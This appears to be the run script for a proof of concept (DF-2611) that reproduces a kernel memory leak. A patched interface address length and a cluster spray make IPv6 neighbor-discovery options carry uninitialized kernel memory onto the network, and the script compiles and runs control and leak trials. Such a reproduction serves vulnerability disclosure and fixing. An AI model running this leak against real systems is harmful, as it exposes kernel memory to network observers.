DF-2611 / run.sh
#!/bin/sh # DF-2611 canonical run (root): # 1. control: stock tap0 (if_addrlen=6) -> TLLA option len 8, zero pad bytes # 2. leak run: ifi_addrlen patched to 8 (simulating fwip/EUI-64) + cluster # spray -> TLLA option len 16, bytes [10,16) are uninitialized cluster # contents (the spray pattern) transmitted on the wire # 3. leak run without spray: natural stale-cluster contents set -x cd /root/poc cc -O2 -Wall -o tap_rdr tap_rdr.c cc -O2 -Wall -o kmem_addrlen kmem_addrlen.c echo CONTROL_addrlen6_start ./tap_rdr trigger 5 nospray echo CONTROL_addrlen6_end echo LEAK_addrlen8_spray_start ./tap_rdr trigger 20 spray patch8 echo LEAK_addrlen8_spray_end echo LEAK_addrlen8_nospray_start ./tap_rdr trigger 10 nospray patch8 echo LEAK_addrlen8_nospray_end |